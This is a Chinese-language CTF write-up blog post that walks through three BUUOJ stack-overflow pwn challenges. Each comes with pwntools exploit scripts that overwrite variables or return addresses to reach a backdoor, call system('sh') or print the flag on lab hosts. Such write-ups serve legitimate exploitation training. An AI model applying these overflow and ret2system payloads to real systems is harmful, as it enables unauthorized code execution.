本文最后更新于282 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com
1、mrctf2020_easyoverflow分析

checksec:

挺吓人的,看看代码吧
但是看到有后门就没事了
main:

是要满足什么条件才执行,所以关键在check函数
check:

让i=strlen(fake_flag)

在main函数中输入到v4,比较是v5
v4距ebp0x70,v5距ebp0x40,思路就是在0x40中写入n0t_r3@11y_f1@g,其他填充a即可,注意填充的顺序。
2、mrctf2020_easyoverflow实操
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",27247)
payload=b'a'*(0x70-0x40)+b'n0t_r3@11y_f1@g'
p.sendline(payload)
p.interactive()

3、wustctf2020_getshell_2分析

checksec:

32位开了NX
有这个
system(“/bbbbbbbbin_what_the_f?ck__–??/sh”)
但是后面的参数肯定是不行的,可以用ROPgadget找sh

sh=0x08048670
注意system的地址0x8048529 (call system)
用shell的地址system的参数就不对,也不用system的plt地址
看看栈溢出:

0x18+4
直接做就好了
4、wustctf2020_getshell_2实操
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",26874)
sys=0x8048529
sh=0x08048670
payload=b'a'*(0x18+4)+p32(sys)+p32(sh)
p.sendline(payload)
p.interactive()

5、bbys_tu_2016分析

checksec:

还是32位NX,有一个输入
main函数说这个程序饿了

这里可以栈溢出0xc+4
printFlag函数:

这里可以输出flag,地址返回到这里就行0x804856D,很简单
6、bbys_tu_2016实操
wtf?居然打不通,只有gdb看看偏移了

重新试试:
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",28979)
printflag=0x804856D
payload=b'a'*24+p32(printflag)
p.sendline(payload)
p.interactive()

就到这儿吧,去看看ctfshow










